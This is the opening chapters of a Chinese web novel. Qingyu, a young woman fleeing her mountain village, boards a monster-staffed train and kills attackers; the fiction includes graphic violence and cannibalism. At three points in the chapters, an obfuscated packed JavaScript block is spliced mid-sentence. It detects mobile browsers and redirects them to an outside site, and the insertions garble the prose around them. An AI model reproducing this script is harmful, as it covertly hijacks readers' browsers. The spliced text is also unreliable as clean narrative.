《无限流天赋是全职女儿》 1. 第一章 列车行驶了很久,窗外的景象许久没有改变过,全部都是山。 高耸的山、低矮的山、长满树木的山、巨石堆砌的山。 山连着山,翻过一座山还有一座山,仿佛永远没有尽头。 长长的列车行驶在弹石路面上,颠簸起伏,车轮与石块碰撞发出沉闷的响声。简陋的道路圈着山,一圈又一圈,像是一条永远解不开的绳索,困住了高山,也困住了生活在山里的人。 终于,车停下了。 外头是一片开阔的田地,种着望不到边际的玉米,已是立秋后,玉米秆长得比人高,浅红色的玉米穗上挂着初秋的露水,南瓜藤缠在细细的玉米杆上,茎叶上长着白色的毛毛刺。 在玉米地的尽头,有一个列车站点,标志性的红色候车亭,挂着一块崭新的牌子。 【石洞子村】 列车停靠,坐在候车亭的女孩儿背着书包拎着一把尖头杀猪刀上了车。 她穿着一条廉价的红色长裙,身上溅了很多血,单薄的布料贴在她瘦骨嶙峋的肢体上,像农村市集上被红色塑料袋装好的猪肉。平坦的胸口别着一朵塑料胸花,上面写着“新娘子”,只不过那红色布条被血浸染,只剩下个“娘”字还干干净净。 女孩儿扎着高马尾,右耳上方别着一朵抽了丝的红色绢花,两只耳垂上挂着小银圈儿耳环,个高腿长。她看起来瘦巴巴的,但是手臂上有常年劳作后产生的肌肉痕迹,双手布满老茧,握刀的姿势很是老练。 她眉骨明显,眼窝略深,鼻梁窄长高耸,菱形的嘴唇有些厚,唇色也深,一身经受过风吹日晒的黄色皮肤,两颊微红,带着一些小雀斑,是这一带常见的高原相貌。 白色橡胶底运动鞋完全被血染红,上车后留下一串鲜红的脚印。 那鞋子质量一般,鞋底材质不好,沾了液体后走起来“嘎吱嘎吱”响,那声响一路跟着她,踏上了一辆崭新而陌生的列车。 女孩儿上车后找了个靠窗的位置坐下,把杀猪刀平放在膝盖上,刀刃朝外,双手交叉压住刀柄。 她的目光一直望着窗外,眼神空洞迷茫,眉间有浅浅的竖纹,山里紫外线强,下地时总是皱着眉眯着眼,久而久之,眉间便留下了抹不去的竖纹,让人看起来凭白老了好几岁,苍老又疲惫。 列车再次启动,一路颠簸着驶向她从未去过的远方。 这一节车厢的乘客并不多,零散地坐着,各自缩在位置上发呆或打盹儿。 也有人在偷偷打量女孩儿,从她黑亮亮的头发一路往下看,瘦削却棱角分明的脸、疲惫却染着疯狂的眼、单薄却蕴藏力量的肢体,还有被湿透的裙摆包裹的,属于少女的青涩胴体。 总是这样的,有些人即便是面对未知的危险,也总会升腾起不合时宜的欲望。 他们的欲望本身就是一种武器,打量时的揣摩臆想是刮骨的利刃,会慢慢剥去被凝视者的一层皮,那目光在触摸,在舔舐,在试探,势必要从她身上割下一堆肉来填补自己的空虚。 女孩儿不为所动,她就那么坐着,像是一团燃得正旺的火,炽烈又冷静,足以烧穿一切恶意。 经过漫长的打量,终于有人开口和她搭话:“你叫什么名字?之前是做什么的?” 她从浑浑噩噩的状态中惊醒,望着窗外飞速远去的崇山峻岭,笑得露出一口白牙,眼睛眯着,憨厚又淳朴地回答:“我叫青于,是妈妈的女儿。” “还是个孩子啊?那你接下来的日子可不好过。”有人嗤笑着,和同伴交换眼神,那些眼神是轻视的、鄙夷的、势在必得的。 每一个新鲜出场的猎物,都觉得自己是最强大的猎人,殊不知在这辆车上,每个人都藏着属于自己的“刀”,他们熟练掌握猎杀和伪装的技巧,深谙如何在猎物与猎人的身份间游走变幻。 “不会的,我很爱我妈妈,我妈妈也很爱我。”她将手上的鲜血擦在裙子上,垂着头咧着嘴自言自语,“只要是妈妈的要求,我一定会完成的。妈妈也会保佑我的,我们永远在一起。” 她眼中的疯狂褪去,目光变得清亮又坚定,口中发出的声音很轻很轻,经过全身的骨骼后敲击着自己的耳膜:“妈妈说,她要逃出大山。不管是以什么样的方式,我都会带妈妈逃出去。” 山间的路不平坦,坑坑洼洼的,有些地方还有明显的断裂和塌陷,车轮碾过时上下颠簸,仿佛要将人甩出座位。有人在低声咒骂,有人在小声抱怨,也有人因为晕车脸色苍白地靠在座位上不敢睁眼。 青于感受着那种上上下下的颠簸,觉得有些熟悉。 她六岁那年,妈妈背着她一起逃,她趴在妈妈背上,像妈妈的一只小书包。 耳边是妈妈凌乱的呼吸声,那时候的她不明白,为什么妈妈要逃,为什么要跑得这么辛苦。 她在妈妈的背上上下颠簸,和现在车轮碾过山路的感觉相似。 她抱怨不舒服,想让妈妈放她下来,妈妈就说:“小鱼乖,妈妈跟你玩坐船的游戏,晃来晃去,这就是一只小船,我们小鱼坐在船上呢。” 她问:“妈妈是小船吗?” 妈妈回答:“妈妈是小鱼的小船,会带着小鱼走出吃人的大山。我最爱的小鱼要去看真正的海,要去坐真正的船,还有飞机、地铁、火车、轮船,所有的所有,小鱼都要亲眼去看,亲自去感受。” 那温柔轻缓的声音从遥远的童年传来,带着善意的诱哄,用母爱将“离开”刻在了青于的肋骨上,那两个字日复一日地撞击着心脏,一刻也不曾停歇。 列车晃啊晃,荡啊荡,青于再次坐上了小船。 她闭上眼睛感受颠簸的节奏,仿佛又回到了那些遥远的,周而复始的,永远在逃跑的寂静夜晚。 月光笼罩着望不到边际的山林,她趴在妈妈的背上,她们的心跳声连接在一起,那根脐带仿佛从未消失。 妈妈乘着月光扬帆,女孩儿坐在名为“妈妈”的小船上。 可是妈妈的小船沉了。 从今以后,青于要成为自己的船,带着妈妈的遗憾扬帆。 “叮——”一声脆响,车厢通过门缓缓打开。 三个穿着黑色制服的乘务员从前一节车厢走过来,他们面无表情地巡视,高筒靴踏地的声音格外清脆,每逼近一分,那些懒散的乘客就坐直一点,等他们站定时,所有人正襟危坐。 黑色外套、黑色长裤、黑色长发、及膝的黑筒靴。 两女一男,皆是长发,那黑色外套上排列着六枚金色纽扣,纽扣上雕刻着衔尾蛇的图案。 后座有人倒吸了一口凉气,随后整个车厢的气氛变得紧张。 为首的女人高挑纤细,莹白的皮肤上覆盖着一层薄薄的、透明的细小鳞片,一双金黄色的蛇瞳冰冷地打量每一位乘客,她偶尔会开口查验乘客的证件,张嘴时露出猩红的信子和尖锐的毒牙。 她身后的一男一女是双胞胎,有着与她如出一辙的蛇瞳和信子,但是鳞片并未完全覆盖皮肤,看起来很像人。 青于没有证件。 她右手握紧杀猪刀的刀柄,左手悄悄伸进背包,从侧边的口袋里拿出一个布包,里面是她从全村搜刮出来的现金,一共三万多,大大小小的纸币被她整理好包进破布里,就像妈妈还在时一样。 其中有三千块,是上湾那个男人给她爹的彩礼。 如果那个怪人要撵她下车,她就花钱买票,花钱不行就撒泼,反正她已经上车了,绝对不可能下车,实在不行就只能杀 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16427610|184859||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人了。 她的呼吸均匀,心跳却格外急促,手指微微发颤,下意识揪住了裙摆。 她今年十八岁了,离开村子的次数屈指可数,和村外人沟通的次数也不多,所以她还是害怕。 她害怕被人看穿自己的脆弱不安,害怕被人看出来历后将她遣返,更害怕外面的世界光怪陆离,和石洞子村,乃至倮山镇完全不一样。 她会杀猪,她会种地,她会放牛,她会砍柴…… 可妈妈心心念念的群山之外,有地方让她种地吗?离开了山,她要去哪里放牛砍柴呢? “哒、哒、哒、哒……” 脚步声停在身旁,青于左边身体紧紧靠着车窗,右边身体却因为那三人的靠近感到一阵冰凉战栗。 为首的女子俯身凑近,信子轻轻吐出,几乎要扫到青于的脸颊。 “新人?报一下名字和籍贯。苏九,登记一下。” 她说完就离开了,继续去查验其他乘客的证件。 青于大脑一片空白,女人靠近时她感受到了前所未有的压迫感,那扑面而来的恐惧让她下意识暂停了呼吸,现在人走了,她才凌乱地呼吸着。 名为苏九的女子拿着登记册走到青于身边,挑了挑下巴催促她快些报出自己的信息。 青于无措地抠着刀柄上的缺口,嗫嚅着说:“我叫青于。” “嗯,籍贯呢?” 籍贯? 青于大着胆子看了她一眼,小声问道:“姐,籍贯是什么?” 苏九挑眉,那道细细的、覆着鳞片的眉高高扬起又落下,红唇勾起,露出尖尖的毒牙,她凑到青于脸旁嗅了嗅,猩红的信子舔着毒牙,语气冰凉凉地说:“连籍贯都不知道?那你很危险呀。要不要留在车上和姐姐做伴呀,这车上一点也不危险。” 青于痴痴地看着她的脸,苏九的鼻尖有一颗红色的痣,好漂亮。 她妈妈脸上也有颗红色的小痣,好漂亮。 她全然听不见外界的声音了,眼里只有那颗痣,慢慢伸手去碰了一下,小痣微微凸起,真的和妈妈的一模一样。 不过妈妈的痣是带着温度的,是皮肤的温度,也是眼泪的温度。她每次伸手帮妈妈擦眼泪,都会轻轻摩挲那颗红色的小痣,然后嘴笨地告诉妈妈不要哭,自己以后会带着她离开的。 而苏九的痣是冰凉的,好像触摸到了冬天的霜,没有温度,也不柔软。 指尖的冰凉倏然离开,青于被惊醒,看着苏九那张漂亮的脸被迫离开,然后传来一道男声。 “老实点,忍一忍。再敢悄悄吃人,首领又得罚你。” 苏九撩了撩头发,也不逗青于了,在籍贯那写下“石洞子村”,然后就和男人边聊边走了。 “人真的很好吃,你吃过一次就知道了,好香啊。那个小姑娘特别香,肉质新鲜筋道,嘶嘶,真香啊。” “再香也得忍着,我们列车的乘客越来越少,首领本来就很头疼了,你要是再吃人把乘客吓跑,以后首领就不让你上车了。现在终点站的乘客到处宣扬我们列车的乘务员会吃人,每次发车都坐不满,你的责任最大!” “啧,真烦。天天守着一车的食物不能吃……” “等有人主动杀人就能吃了。” 他们吃人吗? 青于用指甲抠着刀刃上那些凝固的血迹,突然觉得有些可惜。 家里有很多蛇皮口袋,用来装粮食的,用来装化肥的,那些袋子都很大。 如果把人折一折,还是能装下的。她有些后悔,没有把那些尸体装在口袋里带着过来,这样可以交给那个姐,讨好她,让她告诉自己什么地方有海。 妈妈的家乡有海。 她要去有海的地方。 2. 第二章 夜晚,车里很暗。 青于迷迷糊糊被吵醒,听见后座有女人的尖叫声传来,一边尖叫,一边泣不成声地求饶。 尖叫、哭泣、哀求、喘息…… 她被这熟悉又恐怖的声音摄住了心神,连着十几秒都没有呼吸,就那么呆滞地握着自己的刀,颤抖着僵在原地,陷入难以自拔的噩梦中。 突然,她好像听见了妈妈的声音。 “小鱼,救救妈妈……小鱼、小鱼……” 青于恢复了呼吸,急促又杂乱的呼吸。 她恍惚地握着刀站起来,然后走到声源处,右手握着杀猪刀的刀柄,左手按住那个男人的脖子,像杀猪一样,狠狠地朝着男人的后心捅了进去,刀刃全部没入,足够深了。 一刀就够了,一刀就能死,捅的次数太多会让猪肉糟烂,到时候分出来的肉块不好看。 拔刀时要侧身一步,这样溅出来的猪血就不会大面积地弄脏衣裳。 拔了刀也要多按住一会儿,因为猪还会挣扎,到时候从桌案上掉下去,会把院子里弄得到处都是猪血,最要紧的是,会浪费猪血。 猪血是好东西,酸菜炖猪血很好吃。 当初教她杀猪的大伯是这么说的,不过,他说得最多的就是,“别害怕,杀猪简单,刀子捅进去拔出来就成了,要是不行就多捅两刀,只要手上熟练了,怎么杀都杀得死。” 是的,只要手上熟练了,怎么杀都杀得死。 青于舔了舔嘴唇,狠狠按住男人的脖子将刀抽出来,侧身避开大量飞溅的血液,就那么直愣愣地站着,手上用力地按着。 红裙子上的血迹还没干涸,就沾上了新的,黏糊糊的,她也不觉得难受。从第一次杀猪时的血肉模糊,到现在下手干净,她感受了太多的血,时间久了,就缺失了对血的恐惧感和敏锐度,好像身上糊满了血和流满了汗差不多,都是黏糊糊的。 男人惨叫了几声,倒是没有太过挣扎。 青于下手还是干净。 石洞子村都知道蓝家老二没本事,买了个漂亮媳妇儿回来就生了一个姑娘人就死了。但好在那个姑娘争气,从小就跟她大伯学杀猪,下地也卖力气,进山砍柴挖水渠也一点不含糊,比别人家的儿子还能干。 那姑娘十五岁就能自己拿着杀猪刀给人杀猪了,下手干净得很,是个有出息的。 “砰” 轻轻一声,列车上的灯亮了。 三个乘务员走过来停在青于身边,为首的女人皱着眉看向那男人暴露在外的下半身,嫌弃地说:“苏十,打扫干净,苏九,你……” 话音未落,名叫苏九的女人就说:“首领,让我来打扫吧。” 被称作首领的女人点头,苏九克制不住地笑了一声,随后脖颈以上变成一个巨大的蛇头,将男人的尸体整个吞了进去。 她吞咽的速度很快,只用几秒钟就完成了一次进食。随后就变回了人类的头颅,笑盈盈地看着青于,眼里是藏不住的欣赏。 青于看着她鼻尖那颗红色小痣,兴奋地微微颤抖,手中沉甸甸的刀也随之轻颤着,好像在蛊惑她再去杀一次猪,或是杀一个人。 她从苏九身上汲取属于妈妈的情感,那道欣赏的目光,好像穿越了很多年,从闭塞的小山村来到可以逃离的列车上。 青于咬紧牙关,克制着自己的颤抖。她要冷静,她要努力,她要做让妈妈骄傲的女儿。 被男人压在身下的女人露出全貌,她整理自己凌乱的衣裳,低着头躲避旁人的目光,就维持着那个半躺着的姿势,一动不动。 首领离开了,苏十也离开了。 只有苏九留下来“打扫”。 苏九问她:“你叫什么名字?在哪儿上车的?死者和你是什么关系?” 女人伸手抹去眼泪,裹紧那件起球严重的针织外套,双手紧紧捏住衣襟,声若细蚊地说:“我叫王美燕,从环县上车的,死、死者是我丈夫。” 苏九快速在本子上记录着,然后表情严肃地说道:“我们‘衔尾蛇’号列车是非常注重乘车纪律的,夜晚是休息的重要时间,所以不允许任何人吵闹影响乘客的休息。你和你丈夫刚才吵到大家休息了,所以现在需要你和我一起去讯问室接受调查,请跟我来。” “乘、乘务员,这个小姑娘没事儿吧。”王美燕大着胆子问了一句,她垂着头不敢看任何人,所以青于看见的,只有她宽宽的发缝儿和稀疏的头发。 苏九看向青于,挑眉,“当然没事儿,她并不吵闹。” 她们准备离开了,青于突然开口问道:“你还饿吗?” 她的声音那么雀跃,眼巴巴地盯着苏九看,那副模样殷勤又讨好,仿佛随时可以为了苏九的一个答案铤而走险杀了这趟列车上所有的人。 仿佛在这一刻,她不在乎对或错,只在乎苏九有没有吃饱。 苏九露出大大的笑容,眯着眼睛危险地看着她,猩红的信子扫过嘴唇,轻声说道:“饿。” 青于看着她,回答道:“好。” 两人离开后,灯灭了,车厢里再度变得昏暗,朦胧的月光跑进来,照出一些隐约的轮廓,座位的轮廓,乘客的轮廓。 青于睡不着了,她握着自己的刀正襟危坐,在极度亢奋的情况下,听觉变得无比灵敏,她甚至能听清那些规律或者不规律的呼吸声。 一旦有一丝响动,她就会立马转头看过去,期盼那个方向可以出现更扰人的动静,那样她就可以杀人,可以给苏九准备食物。 这一夜,这间车厢里的人都不敢睡,他们警惕地盯着青于的动作,生怕这个刚上车的新人发疯杀人。 这样的例子以前也有过,上车后因为受了刺激精神错乱,就开始无差别攻击,觉得所有人都是怪物,只有杀人才能自保。 而且能上这辆车的,都不是什么好人。 终点站的人都知道,衔尾蛇不欢迎好人和正义者,他们只接纳纯粹的恶人和复杂的恶人。一旦你踏上这趟列车,就会遇见数不清的怪物新人,和他们一同进入副本,在副本里,新人的威胁远超副本本身。 但这样也有好处,衔尾蛇途经的副本给出的奖励很丰富,是真正的一夜暴富。 结论就是,在终点站上车的未必是恶人,但是沿途上车的新人,绝对不是好人。 衔尾蛇的宗旨是:善或恶只是一时的选择。 天蒙蒙亮时,那个女人独自回到了车厢。 她慢吞吞地走回来站在青于旁边,踌躇了一会儿,坐在青于旁边的位置上。 “小姑娘,你叫什么名字?” “青于。” 那女人柔柔地笑着,小声说道:“真是个好名字,青出于蓝而胜于蓝,你是个好孩子。你从哪里上车的?你今年几岁了?在上初中还是高中?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16427611|184859||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>青于笑了一下,只说道:“我没上过学。” 王美燕有些拘谨,她瘦削的脸上戴着一架厚重的黑框眼镜,脸色发白,唇色发绀,看起来一副心脏不好的样子。 她推了推眼镜,讪笑着说:“你要吃饼干吗?我包里有饼干,是我女儿给我买的。她今年十六岁,在环县实验中学上高一,是个成绩特别好的孩子,她长得很像我,学校老师一看见她就要问她认不认识我,全校都知道她是我女儿……” 青于有些饿了,王美燕问她要不要吃饼干的时候她想答应的,结果王美燕喋喋不休地开始聊自己的女儿,饼干也不见踪影。 她靠在椅背上,听着一个母亲讲述自己的女儿。用一种怀念的语气,一种悔恨的语气,讲述自己的女儿。 王美燕停下来了,青于扭头看向她,问道:“你女儿呢?” 那发绀的唇被拉平,紧紧抿成一条线,王美燕脸颊抽动着,从嗓子眼里挤出三个字,“她走了。” 青于“哦”了一声没说话,从书包里掏出一个生玉米开始啃,是她在候车亭坐着的时候太无聊,去地里摘的。 玉米还不够熟,颗粒稚嫩,咬开后是清甜的汁水。浅黄色的玉米须被白色的浆液黏在她侧脸上,她觉得有些痒,刚想伸手去摘掉,就被一旁看着她的王美燕摘去了。 她手里搓着那根玉米须,再次和青于搭话。 “你怎么会上车?你家里人呢?你这么大了,怎么没去上学?” 青于啃着玉米,抽空敷衍了她两句:“我家里人都死绝了,没人管我。我没上户口,不能上学。” 在石洞子村,买来的女人生了姑娘是不能上户口的。 因为那些女人都在家里生产,要想落户得去办出生证,办出生证需要亲子证明,爹妈的都要办,两个人就是三千块钱,还得去市里才能办。 只有儿子,才值三千块钱和一路的奔波。 姑娘的宿命就是嫁人,养到十七八岁,收一笔彩礼嫁出去。 即便是青于这样“比儿子还能干”的姑娘,也得在十八岁的时候嫁人。 王美燕看着她胸前别的胸花,问她:“你嫁人了?” 青于回答:“嗯,我昨天嫁人,但是没办成。” 王美燕突然感慨道:“上车了也好,上车了就不用嫁人了。嫁人一点都不好,年轻的时候不好,老了也不好,当了半辈子畜牲,不仅累出一身病,还落下了数不清的埋怨。” 青于没说话,她看着窗外飞速掠过的山,陷入了漫长的沉默。 她昨天下午上车,现在过了一夜,窗外还是山。 这样多的山,这样深的山,妈妈怎么可能逃得出来呢? 从石洞子村到镇上是没有直达车的,只能靠自家的摩托车或者面包车去。青于去过,坐在摩托车上走过那些狭窄陡峭的山路,要半个多小时才能到镇上,这样远的路,妈妈怎么逃得出来? 她有点想哭。 她其实读过一些书,妈妈会悄悄把堂哥闲置的课本找出来教她认字,她们学过一首诗,青于记得最深刻。 【在山的那边,依然是山 山那边的山啊,铁青着脸 给我的幻想打了一个零分! 妈妈,那个海呢?】 妈妈,你的海呢?我要去哪里找你的海? 这辆诡异的列车,会带我找到海吗? 3. 第三章 正午时分,苏十推着补给车穿越每一个车厢售卖物资。 这趟列车上有三个乘务员,苏十是三人中最温和守规矩的,所以这类需要和乘客接触的工作都归他负责。 补给车的轮子在车厢连接处发出轻微的咔哒声,随后一声脆响,车厢通过门打开又合上,苏十来到了青于所在的这节车厢。 “各位乘客中午好,欢迎大家乘坐‘衔尾蛇’号列车,我是本次的乘务员苏十。今日的补给时间到了,请需要补充物资的乘客尽快购买,我只在本节车厢停留一个小时。下面,我将播报本次补给车刷新的物品——” “很遗憾,本次没有刷新出重点物资。请新乘客记住,重点物资分为三类,分别是:药品、武器、道具。重点物资刷新率极低,一旦出现,请您放心购买。” “本次刷新后出现的物品有食物类。分别是:方便面、压缩饼干、鲜肉包子、腊肉和每份500g的大米。” “本次刷新后出现的物品有服饰类。分别是:防寒羽绒服、名牌POLO衫、防风工装裤、修身连衣裙、高中校服运动款。温馨提示,您购入的服饰可以在任何一趟列车上让乘务员给您改成合适的尺寸,这项售后终身有效,您不必担心衣物出现不合身的情况。” “本次刷新后出现的物品有生活用品类。分别是:打火机、钥匙扣、梳子、塑料盆、折叠水桶、衣架。” 他说完后就不动了,站在原地等着乘客去找他购买。 首先过去的是一个黄头发的年轻男人,他背着一个巨大的登山包,走到补给车前面将登山包放在台面上,对着乘务员说:“麻烦你帮我把所有物品出售,换成金钱。” 苏十微笑:“好的,本趟列车严格按照终点站物价进行收购,但是需收取您百分之二十的手续费,请问您同意吗?” 年轻男人一脸肉疼,烦躁地揉着头发,最后说道:“同意。” 他出售完所有物品后就回座位了,并没有买任何物资。 青于看了一圈,这节车厢里有六个人,除了黄头发的年轻人外,没有任何人去找乘务员进行交易。而且大部分人都双手空空,没有背包,也没有袋子。 他们都和自己一样是刚上车的吗?她没有去是因为不懂规则,他们没有去也是不懂规则吗?还是说他们不缺物资?如果不缺,他们的物资在哪里? 时间一分一秒地过去,离交易结束还有十分钟。 青于跟王美燕说了一声想要出去,王美燕就站起来让她,还自觉地挪到了里面那个位置。 青于背着小书包拎着杀猪刀走到苏十面前,一双眼睛警惕地看着他。 苏十微笑着,耐心地说道:“列车是补充物资的唯一途径,为了接下来的存活率,还请乘客谨慎选择。除了重点物资外,乘客可以多多囤积食物和饮用水。” 补给车是一个黑色的大箱子,最顶上有一块电子屏幕,屏幕上有三条红色的边框,上面写着字。 【食物类:……】 【服饰类:……】 【生活用品类:……】 所有的物资都以图片的形式陈列,并没有标注价格。 每天列车都会刷新物资种类,每次刷新三类,随机提供物资。 青于指着那个高中校服运动款,“这个多少钱?” 苏十点了一下图片,上面出现了一个数字。 【200】 他说:“金钱200。根据终点站法律,我们接受任何货币的‘200’这个值,但必须是同种货币的‘200’。现金200元、铜板200枚、白银200克、黄金200克、贝币200枚等。” 好贵。 青于伸手点了一下压缩饼干。 【10】 也好贵。 但是好像不得不买,她不知道这趟车什么时候停下,也不知道明天会不会有食物,所以购买是唯一的选择。她上了一趟诡异的列车,这趟列车将去往哪里她都不知道,但是总得买些吃的,不然就会饿死。 她从书包里翻出小布包,打开后数了三百块钱出来,说道:“我要一套衣服和十个饼干。” 她的钱足够多,但是她的小书包装不下那么多食物,里面还有好几个新鲜玉米。 玉米是好东西,有汁水,渴得受不了的时候啃一个玉米能缓一缓。 交易结束后,她背着沉甸甸的书包回去,这次她换了个座位,在最后一排。 这一排没有人坐,现在只有她一个人。 王美燕转过身问她:“青于,你要坐在那里?不回来了?” “嗯,你一直说话太吵了,我想安静点。”而且王美燕身上有股味道,她嗅觉很灵,闻着不太舒服。 王美燕讪笑了一下,没有答话。 青于先隔着裙子穿上运动裤,上身套好短袖后双手缩在衣服里把裙子脱了下来,最后穿上外套,拉好拉链。取下头上的红色绢花塞在裙子里,清清爽爽地靠在车窗上。 身上的血迹没办法清理,但只要别穿着那条裙子就可以了。 这是她从小到大第一次穿裙子,她比堂哥小三岁,从小就穿着他的旧衣服长大,再长大些不能穿了,奶奶就上街给她买衣服,都是那种几十块钱一套的迷彩服和迷彩胶鞋,便宜耐穿。 而且,她这样不被家人重视的孩子,在村子里穿裙子不安全。要是出了事,家里人也不会帮她出头的。 换上新的衣服后,那条脏兮兮的连衣裙就没用了,青于把它揉成一团放在旁边的座位上。 这时恰好苏十推着补给车往前走,一路到了她旁边,她顺手将连衣裙递过去,“这个可以卖吗?” 苏十微笑:“可以,同样的,我们收取百分之二十的手续费。扣除手续费后,该物品价值金钱10。请问您确定交易吗?” 青于点头,“确定。” 她从苏十手里接过一张崭新的十元人民币,比她任何一张钱都要新。 她有些好奇,为什么那个黄头发的男人交易时,苏十没有递钱给他。是什么没有实体的货币吗?还是他们有别的交易方法? 之后列车又行驶了整整一天,才彻底离开群山。 窗外的景色从连绵的山峦变成了广阔的田地,大大小小的村落聚集着,低矮的土坯房像被遗弃的盒子,关着许多人穷苦又愚昧的一生。那样的一生,低头是埋在土地里的种子,抬头是水稻的穗子,仰头是一望无际的天,天的后面,藏着决定了农民喜悦或悲伤的天气。 她攥紧了校服袖口,这布料太新太白,盖在她粗糙的皮肤上,像偷穿了别人的衣裳,或是人生。 青于趴在窗边,鼻尖贴着冰冷的玻璃,眼睛一眨不眨看得十分专注。 几个裹着头巾的中年女人在地里弓着身子忙碌,她们的影子被阳光压得扁扁的,贴在被踩踏紧实的田埂上。 列车从她们旁边呼啸而过,扬起的尘土扑在她们的后背上,她们却连头都没有抬。 她们看不见这趟列车。 车厢里依旧死寂。 王美燕缩在座位上,用一块灰扑扑的手帕反复擦拭镜片,黑色的镜框曾长时间压在她的鼻梁上,留下一个小小的印子。 她正透过那镜片,偷偷窥视着在最后一排的女孩儿。那张充满生机和活力的脸,那燃起仇恨和野心的目光,让她想起了死去的女儿。 她轻轻将手帕叠好装进口袋里,眼神里闪过一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16427612|184859||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 丝悲伤和更为复杂的情绪。 那双眼一直盯着青于,没有一刻舍得离开过。 夜里,车厢里的光线逐渐变暗,只有少许月光从窗外溜进来,照亮了窗子旁的座椅。 青于蜷缩在角落里,把外套拉紧了些,闭上眼睛试图入睡。她迷迷糊糊地刚要睡着,就听见“咔哒”一声,像是有什么东西掉在了地上。 上一秒脑子还是清醒的,可那声动静之后,脑子就迷糊了,有种深度睡眠被叫醒后的不真实感,感知变得迟钝,分不清是梦是醒。 除此之外,什么声音都没有。 极度的安静,没有其他人的呼吸声,也没有活动时衣服发出的簌簌声,只有她跳得凌乱的心跳声。 “咔哒……咔哒……咔哒……” 规律的声音在车厢里响起,朝着她渐渐逼近。 青于屏住呼吸,心脏跳动的力度几乎撞破她单薄的胸膛,那声响如钟表般精准,一次次丈量她的恐惧,而她的恐怖蔓延着,疯长着,挤压她的气道,让呼吸变得格外费力。 恐惧如潮水般将她淹没,她被困在座椅上动弹不得。 她想伸手去摸自己的刀,去感受缠在刀柄上麻绳的粗糙触感,可她无法活动自己的任何一个部位,就像被无形的绳索束缚住,连指尖都无法抬起。像是那些被噩梦魇住的夜晚,她只能眼睁睁看着黑暗吞噬自己,将自己埋葬在永远走不出去的大山里。 声响在她座位旁停下了。 青于拼命地想要睁开眼,但眼皮像灌了铅一样沉重,难以睁开,她只能用凌乱的呼吸和剧烈的心跳徒劳地抵御即将来到的威胁。 也就是所谓的,任人宰割。 就在她不知道该怎么办的时候,她闻到了一股微弱又熟悉的味道。洗衣粉浓烈的花香味和轻微的汗味混杂着,还掺进了一股血腥气,熟悉又刺鼻。 王美燕。 青于立刻就确认了味道的来源,她上车后只和王美燕坐过并排,所以记得她身上的味道,而且那血腥气,是她杀死王美燕丈夫时留下的,很新鲜的血腥气。 就在她思考时,一只冰凉的手盖在她的手背上,那并不是寻常的冰凉,而是一种尸体上会出现的僵冷,触感潮乎乎的,但并没有液体,那些潮意像是细长的毛,慢慢钻进了她的皮肤里,带来一阵轻微的刺疼和阴冷。 那刺痛像是针尖刺入神经,直抵意识深处,让她猛地清醒。 她终于能睁开眼睛了,睁眼的瞬间,她对上了一双空洞的眼睛。 王美燕的脸惨白如纸,嘴唇泛着乌青,眼睛直勾勾地盯着她,像一只轻飘飘的纸人。 她缓缓歪头,随后脖颈像是断了一样,沉重的头颅猛地砸下,搭在瘦削的肩膀上。她的嘴角咧开一条诡异的弧度,那弧度好怪异,像是在笑,又像是在哭,乌青的嘴唇渗出血迹,那红到发黑的血迹顺着她歪斜的嘴角缓缓淌下,途经脖颈后顺着胸骨柄一直往下,最后滴落在青于的手背上。 青于感受不到血滴落在她手背上的触感,她只是呆呆地看着那条血迹蜿蜒的轨迹,觉得那是一条标记的线,顺着这条线,她能将眼前这个诡异的王美燕一刀劈开。 脑子里这么想着,手已经放到了刀柄上,麻绳粗糙的触感落在她手心。 挥刀变成了她的本能,刀刃破开空气后,眼前的人也被分成了两半,一串血珠顺着刀刃滚落,在地面留下一团不规则的红色。 当重物落地的声音响起时,青于才猛地清醒,她看着地上的尸体,无措地抿着唇。 血液飞溅,她周围的座椅和地面都脏了,正在她想着该怎么收拾的时候,车厢通过门那儿的红色警示灯亮了起来,随后,传出一阵冰冷的机械音。 4. 第四章 “各位尊敬的乘客,欢迎乘坐‘衔尾蛇’。本趟列车始发于终点站,全程途经七个副本,您可以选择在任意站点下车进入副本,通关副本后即可获得印着双子大厦的通关币,通关币是重要货币,无法掠夺、交易、购买、赠予,只能依靠通关副本获取。” “因列车上新人玩家过半,所以触发了筛选机制,本趟列车的最终费用也将在筛选副本后公布。请所有乘客注意,在您听到‘叮’声后,副本便呈现开启状态,在此之前,请仔细查阅副本信息与要求。” 【“衔尾蛇”列车筛选副本——屠杀者】 【副本等级:低级】 【副本信息:夜幕降临,黑暗中滋生了危险和罪恶。无知的旅客还在呼呼大睡,殊不知屠杀者已经睁开了眼,他/她不知疲倦地将刀高举着,想要用鲜血和死亡给这趟旅程增添不一样的色彩。 他/她得手了,车厢里出现了死者! 